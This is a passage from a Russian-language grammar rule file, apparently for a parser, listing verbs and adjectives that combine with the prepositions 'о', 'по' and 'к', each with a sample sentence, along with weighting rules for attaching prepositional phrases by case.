rus_verbs:скорбеть{}, // скорбеть о усопшем
rus_verbs:задумываться{}, // задумываться о смене работы
rus_verbs:позаботиться{}, // позаботиться о престарелых родителях
rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината
rus_verbs:попросить{}, // попросить о замене
rus_verbs:предупредить{}, // предупредить о замене
rus_verbs:предупреждать{}, // предупреждать о замене
rus_verbs:твердить{}, // твердить о замене
rus_verbs:заявлять{}, // заявлять о подлоге
rus_verbs:петь{}, // певица, поющая о лете
rus_verbs:проинформировать{}, // проинформировать о переговорах
rus_verbs:порассказывать{}, // порассказывать о событиях
rus_verbs:послушать{}, // послушать о новинках
rus_verbs:заговорить{}, // заговорить о плате
rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой.
rus_verbs:оставить{}, // Он оставил о себе печальную память.
rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях
rus_verbs:спорить{}, // они спорили о законе
глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия.
глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия.
rus_verbs:прочитать{}, // Я прочитал о тебе
rus_verbs:услышать{}, // Я услышал о нем
rus_verbs:помечтать{}, // Девочки помечтали о принце
rus_verbs:слышать{}, // Мальчик слышал о приведениях
rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке
rus_verbs:грустить{}, // Я грущу о тебе
rus_verbs:осведомить{}, // о последних достижениях науки
rus_verbs:рассказывать{}, // Антонио рассказывает о работе
rus_verbs:говорить{}, // говорим о трех больших псах
rus_verbs:идти{} // Вопрос идёт о войне.
}
fact гл_предл
{
if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } }
then return true
}
// Мы поделились впечатлениями о выставке.
// ^^^^^^^^^^ ^^^^^^^^^^
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:о{} *:*{} }
then return false,-5
}
#endregion Предлог_О
#region Предлог_ПО
// ------------------- С ПРЕДЛОГОМ 'ПО' ----------------------
// для этих глаголов - запрещаем связывание с ПО+дат.п.
wordentry_set Глаг_ПО_Дат_Запр=
{
rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:закончить{},
rus_verbs:мочь{},
rus_verbs:хотеть{}
}
fact гл_предл
{
if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } }
then return false,-10
}
// По умолчанию разрешаем связывание в паттернах типа
// Я иду по шоссе
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:дат } }
then return true
}
wordentry_set Глаг_ПО_Вин=
{
rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ)
rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО)
rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера
rus_verbs:засадить{}, // засадить по рукоятку
rus_verbs:увязнуть{} // увязнуть по колено
}
fact гл_предл
{
if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:вин } }
then return false,-5
}
#endregion Предлог_ПО
#region Предлог_К
// ------------------- С ПРЕДЛОГОМ 'К' ----------------------
wordentry_set Гл_К_Дат={
rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна.
rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску.
прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ)
rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ)
rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ)
rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ)
rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ)
rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ)
rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ)
rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ)
rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ)
rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, //
rus_verbs:ПРИНОРОВИТЬСЯ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ)
rus_verbs:СПИКИРОВАТЬ{}, //
rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С)
rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ)
rus_verbs:ПРОТЯНУТЬ{}, //
rus_verbs:ТЯНУТЬ{}, //
rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,,
rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, //
rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, //
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, //
rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ)
rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке.
rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ)
rus_verbs:хотеть{},
rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ)
rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ)
rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ)
rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ)
rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ)
rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ)
rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ)
rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ)
rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ)
rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г
rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ)
rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ)
rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К)
rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К)
rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К)
rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К)
rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К)
прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К)
безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К)
rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К)
rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К)
rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К)
rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К)
rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К)
rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К)
rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К)
rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К)
rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К)
rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К)
rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К)
rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К)
rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К)
rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К)
rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К)
rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К)
rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К)
rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К)
rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К)
rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К)
rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К)
rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К)
rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К)
глагол:быть{}, // к тебе есть вопросы.
прилагательное:равнодушный{}, // Он равнодушен к музыке.
rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К)
rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К)
инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К)
rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К)
rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к)
rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К)
rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К)
rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К)
rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К)
rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К)
rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К)
rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К)
rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к)
rus_verbs:просить{}, // Директор просит вас к себе. (просить к)
rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к)
rus_verbs:присесть{}, // старик присел к огню. (присесть к)
rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К)
rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к)
rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к)
rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К)
rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К)
rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К)
rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К)
rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к)
rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К)
rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К)
rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К)
rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К)
rus_verbs:подходить{}, // цвет подходил ей к лицу.
rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К)
rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К)
rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К)
rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К)
rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К)
rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К)
rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к)
rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К)
rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К)
rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к)
rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к)
rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К)
rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К)
rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К)
rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К)
rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к)
rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к)
rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к)
rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К)
rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к)
rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к)
rus_verbs:требовать{}, // вас требует к себе император. (требовать к)
rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к)
rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к)
rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К)
rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К)
rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к)
rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К)
rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К)
rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к)
rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к)
rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к)
rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К)
rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к)
rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к)
rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к)
rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К)
rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К)
rus_verbs:выехать{}, // почти сразу мы выехали к реке.
rus_verbs:пододвигаться{}, // пододвигайся к окну
rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам.
rus_verbs:представить{}, // Его представили к ордену.
rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу.
rus_verbs:выскочить{}, // тем временем они выскочили к реке.
rus_verbs:выйти{}, // тем временем они вышли к лестнице.
rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе.
rus_verbs:приложить{}, // приложить к детали повышенное усилие
rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку)
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю
rus_verbs:прыгать{}, // прыгать к хозяину на стол
rus_verbs:приглашать{}, // приглашать к доктору
rus_verbs:рваться{}, // Чужие люди рвутся к власти
rus_verbs:понестись{}, // понестись к обрыву
rus_verbs:питать{}, // питать привязанность к алкоголю
rus_verbs:заехать{}, // Коля заехал к Оле
rus_verbs:переехать{}, // переехать к родителям
rus_verbs:ползти{}, // ползти к дороге
rus_verbs:сводиться{}, // сводиться к элементарному действию
rus_verbs:добавлять{}, // добавлять к общей сумме
rus_verbs:подбросить{}, // подбросить к потолку
rus_verbs:призывать{}, // призывать к спокойствию
rus_verbs:пробираться{}, // пробираться к партизанам
rus_verbs:отвезти{}, // отвезти к родителям
rus_verbs:применяться{}, // применяться к уравнению
rus_verbs:сходиться{}, // сходиться к точному решению
rus_verbs:допускать{}, // допускать к сдаче зачета
rus_verbs:свести{}, // свести к нулю
rus_verbs:придвинуть{}, // придвинуть к мальчику
rus_verbs:подготовить{}, // подготовить к печати
rus_verbs:подобраться{}, // подобраться к оленю
rus_verbs:заторопиться{}, // заторопиться к выходу
rus_verbs:пристать{}, // пристать к берегу
rus_verbs:поманить{}, // поманить к себе
rus_verbs:припасть{}, // припасть к алтарю
rus_verbs:притащить{}, // притащить к себе домой
rus_verbs:прижимать{}, // прижимать к груди
rus_verbs:подсесть{}, // подсесть к симпатичной девочке
rus_verbs:придвинуться{}, // придвинуться к окну
rus_verbs:отпускать{}, // отпускать к другу
rus_verbs:пригнуться{}, // пригнуться к земле
rus_verbs:пристроиться{}, // пристроиться к колонне
rus_verbs:сгрести{}, // сгрести к себе
rus_verbs:удрать{}, // удрать к цыганам
rus_verbs:прибавиться{}, // прибавиться к общей сумме
rus_verbs:присмотреться{}, // присмотреться к покупке
rus_verbs:подкатить{}, // подкатить к трюму
rus_verbs:клонить{}, // клонить ко сну
rus_verbs:проследовать{}, // проследовать к выходу
rus_verbs:пододвинуть{}, // пододвинуть к себе
rus_verbs:применять{}, // применять к сотрудникам
rus_verbs:прильнуть{}, // прильнуть к экранам
rus_verbs:подвинуть{}, // подвинуть к себе
rus_verbs:примчаться{}, // примчаться к папе
rus_verbs:подкрасться{}, // подкрасться к жертве
rus_verbs:привязаться{}, // привязаться к собаке
rus_verbs:забирать{}, // забирать к себе
rus_verbs:прорваться{}, // прорваться к кассе
rus_verbs:прикасаться{}, // прикасаться к коже
rus_verbs:уносить{}, // уносить к себе
rus_verbs:подтянуться{}, // подтянуться к месту
rus_verbs:привозить{}, // привозить к ветеринару
rus_verbs:подползти{}, // подползти к зайцу
rus_verbs:приблизить{}, // приблизить к глазам
rus_verbs:применить{}, // применить к уравнению простое преобразование
rus_verbs:приглядеться{}, // приглядеться к изображению
rus_verbs:приложиться{}, // приложиться к ручке
rus_verbs:приставать{}, // приставать к девчонкам
rus_verbs:запрещаться{}, // запрещаться к показу
rus_verbs:прибегать{}, // прибегать к насилию
rus_verbs:побудить{}, // побудить к действиям
rus_verbs:притягивать{}, // притягивать к себе
rus_verbs:пристроить{}, // пристроить к полезному делу
rus_verbs:приговорить{}, // приговорить к смерти
rus_verbs:склоняться{}, // склоняться к прекращению разработки
rus_verbs:подъезжать{}, // подъезжать к вокзалу
rus_verbs:привалиться{}, // привалиться к забору
rus_verbs:наклоняться{}, // наклоняться к щенку
rus_verbs:подоспеть{}, // подоспеть к обеду
rus_verbs:прилипнуть{}, // прилипнуть к окну
rus_verbs:приволочь{}, // приволочь к себе
rus_verbs:устремляться{}, // устремляться к вершине
rus_verbs:откатиться{}, // откатиться к исходным позициям
rus_verbs:побуждать{}, // побуждать к действиям
rus_verbs:прискакать{}, // прискакать к кормежке
rus_verbs:присматриваться{}, // присматриваться к новичку
rus_verbs:прижиматься{}, // прижиматься к борту
rus_verbs:жаться{}, // жаться к огню
rus_verbs:передвинуть{}, // передвинуть к окну
rus_verbs:допускаться{}, // допускаться к экзаменам
rus_verbs:прикрепить{}, // прикрепить к корпусу
rus_verbs:отправлять{}, // отправлять к специалистам
rus_verbs:перебежать{}, // перебежать к врагам
rus_verbs:притронуться{}, // притронуться к реликвии
rus_verbs:заспешить{}, // заспешить к семье
rus_verbs:ревновать{}, // ревновать к сопернице
rus_verbs:подступить{}, // подступить к горлу
rus_verbs:уводить{}, // уводить к ветеринару
rus_verbs:побросать{}, // побросать к ногам
rus_verbs:подаваться{}, // подаваться к ужину
rus_verbs:приписывать{}, // приписывать к достижениям
rus_verbs:относить{}, // относить к растениям
rus_verbs:принюхаться{}, // принюхаться к ароматам
rus_verbs:подтащить{}, // подтащить к себе
rus_verbs:прислонить{}, // прислонить к стене
rus_verbs:подплыть{}, // подплыть к бую
rus_verbs:опаздывать{}, // опаздывать к стилисту
rus_verbs:примкнуть{}, // примкнуть к деомнстрантам
rus_verbs:стекаться{}, // стекаются к стенам тюрьмы
rus_verbs:подготовиться{}, // подготовиться к марафону
rus_verbs:приглядываться{}, // приглядываться к новичку
rus_verbs:присоединяться{}, // присоединяться к сообществу
rus_verbs:клониться{}, // клониться ко сну
rus_verbs:привыкать{}, // привыкать к хорошему
rus_verbs:принудить{}, // принудить к миру
rus_verbs:уплыть{}, // уплыть к далекому берегу
rus_verbs:утащить{}, // утащить к детенышам
rus_verbs:приплыть{}, // приплыть к финишу
rus_verbs:подбегать{}, // подбегать к хозяину
rus_verbs:лишаться{}, // лишаться средств к существованию
rus_verbs:приступать{}, // приступать к операции
rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике
rus_verbs:подключить{}, // подключить к трубе
rus_verbs:подключиться{}, // подключиться к сети
rus_verbs:прилить{}, // прилить к лицу
rus_verbs:стучаться{}, // стучаться к соседям
rus_verbs:пристегнуть{}, // пристегнуть к креслу
rus_verbs:присоединить{}, // присоединить к сети
rus_verbs:отбежать{}, // отбежать к противоположной стене
rus_verbs:подвезти{}, // подвезти к набережной
rus_verbs:прибегнуть{}, // прибегнуть к хитрости
rus_verbs:приучить{}, // приучить к туалету
rus_verbs:подталкивать{}, // подталкивать к выходу
rus_verbs:прорываться{}, // прорываться к выходу
rus_verbs:увозить{}, // увозить к ветеринару
rus_verbs:засеменить{}, // засеменить к выходу
rus_verbs:крепиться{}, // крепиться к потолку
rus_verbs:прибрать{}, // прибрать к рукам
rus_verbs:пристраститься{}, // пристраститься к наркотикам
rus_verbs:поспеть{}, // поспеть к обеду
rus_verbs:привязывать{}, // привязывать к дереву
rus_verbs:прилагать{}, // прилагать к документам
rus_verbs:переправить{}, // переправить к дедушке
rus_verbs:подогнать{}, // подогнать к воротам
rus_verbs:тяготеть{}, // тяготеть к социализму
rus_verbs:подбираться{}, // подбираться к оленю
rus_verbs:подступать{}, // подступать к горлу
rus_verbs:примыкать{}, // примыкать к первому элементу
rus_verbs:приладить{}, // приладить к велосипеду
rus_verbs:подбрасывать{}, // подбрасывать к потолку
rus_verbs:перевозить{}, // перевозить к новому месту дислокации
rus_verbs:усаживаться{}, // усаживаться к окну
rus_verbs:приближать{}, // приближать к глазам
rus_verbs:попроситься{}, // попроситься к бабушке
rus_verbs:прибить{}, // прибить к доске
rus_verbs:перетащить{}, // перетащить к себе
rus_verbs:прицепить{}, // прицепить к паровозу
rus_verbs:прикладывать{}, // прикладывать к ране
rus_verbs:устареть{}, // устареть к началу войны
rus_verbs:причалить{}, // причалить к пристани
rus_verbs:приспособиться{}, // приспособиться к опозданиям
rus_verbs:принуждать{}, // принуждать к миру
rus_verbs:соваться{}, // соваться к директору
rus_verbs:протолкаться{}, // протолкаться к прилавку
rus_verbs:приковать{}, // приковать к батарее
rus_verbs:подкрадываться{}, // подкрадываться к суслику
rus_verbs:подсадить{}, // подсадить к арестонту
rus_verbs:прикатить{}, // прикатить к финишу
rus_verbs:протащить{}, // протащить к владыке
rus_verbs:сужаться{}, // сужаться к основанию
rus_verbs:присовокупить{}, // присовокупить к пожеланиям
rus_verbs:пригвоздить{}, // пригвоздить к доске
rus_verbs:отсылать{}, // отсылать к первоисточнику
rus_verbs:изготовиться{}, // изготовиться к прыжку
rus_verbs:прилагаться{}, // прилагаться к покупке
rus_verbs:прицепиться{}, // прицепиться к вагону
rus_verbs:примешиваться{}, // примешиваться к вину
rus_verbs:переселить{}, // переселить к старшекурсникам
rus_verbs:затрусить{}, // затрусить к выходе
rus_verbs:приспособить{}, // приспособить к обогреву
rus_verbs:примериться{}, // примериться к аппарату
rus_verbs:прибавляться{}, // прибавляться к пенсии
rus_verbs:подкатиться{}, // подкатиться к воротам
rus_verbs:стягивать{}, // стягивать к границе
rus_verbs:дописать{}, // дописать к роману
rus_verbs:подпустить{}, // подпустить к корове
rus_verbs:склонять{}, // склонять к сотрудничеству
rus_verbs:припечатать{}, // припечатать к стене
rus_verbs:охладеть{}, // охладеть к музыке
rus_verbs:пришить{}, // пришить к шинели
rus_verbs:принюхиваться{}, // принюхиваться к ветру
rus_verbs:подрулить{}, // подрулить к барышне
rus_verbs:наведаться{}, // наведаться к оракулу
rus_verbs:клеиться{}, // клеиться к конверту
rus_verbs:перетянуть{}, // перетянуть к себе
rus_verbs:переметнуться{}, // переметнуться к конкурентам
rus_verbs:липнуть{}, // липнуть к сокурсницам
rus_verbs:поковырять{}, // поковырять к выходу
rus_verbs:подпускать{}, // подпускать к пульту управления
rus_verbs:присосаться{}, // присосаться к источнику
rus_verbs:приклеить{}, // приклеить к стеклу
rus_verbs:подтягивать{}, // подтягивать к себе
rus_verbs:подкатывать{}, // подкатывать к даме
rus_verbs:притрагиваться{}, // притрагиваться к опухоли
rus_verbs:слетаться{}, // слетаться к водопою
rus_verbs:хаживать{}, // хаживать к батюшке
rus_verbs:привлекаться{}, // привлекаться к административной ответственности
rus_verbs:подзывать{}, // подзывать к себе
rus_verbs:прикладываться{}, // прикладываться к иконе
rus_verbs:подтягиваться{}, // подтягиваться к парламенту
rus_verbs:прилепить{}, // прилепить к стенке холодильника
rus_verbs:пододвинуться{}, // пододвинуться к экрану
rus_verbs:приползти{}, // приползти к дереву
rus_verbs:запаздывать{}, // запаздывать к обеду
rus_verbs:припереть{}, // припереть к стене
rus_verbs:нагибаться{}, // нагибаться к цветку
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам
деепричастие:сгоняв{},
rus_verbs:поковылять{}, // поковылять к выходу
rus_verbs:привалить{}, // привалить к столбу
rus_verbs:отпроситься{}, // отпроситься к родителям
rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям
rus_verbs:прилипать{}, // прилипать к рукам
rus_verbs:подсоединить{}, // подсоединить к приборам
rus_verbs:приливать{}, // приливать к голове
rus_verbs:подселить{}, // подселить к другим новичкам
rus_verbs:прилепиться{}, // прилепиться к шкуре
rus_verbs:подлетать{}, // подлетать к пункту назначения
rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями
rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг
rus_verbs:льнуть{}, // льнуть к заботливому хозяину
rus_verbs:привязываться{}, // привязываться к любящему хозяину
rus_verbs:приклеиться{}, // приклеиться к спине
rus_verbs:стягиваться{}, // стягиваться к сенату
rus_verbs:подготавливать{}, // подготавливать к выходу на арену
rus_verbs:приглашаться{}, // приглашаться к доктору
rus_verbs:причислять{}, // причислять к отличникам
rus_verbs:приколоть{}, // приколоть к лацкану
rus_verbs:наклонять{}, // наклонять к горизонту
rus_verbs:припадать{}, // припадать к первоисточнику
rus_verbs:приобщиться{}, // приобщиться к культурному наследию
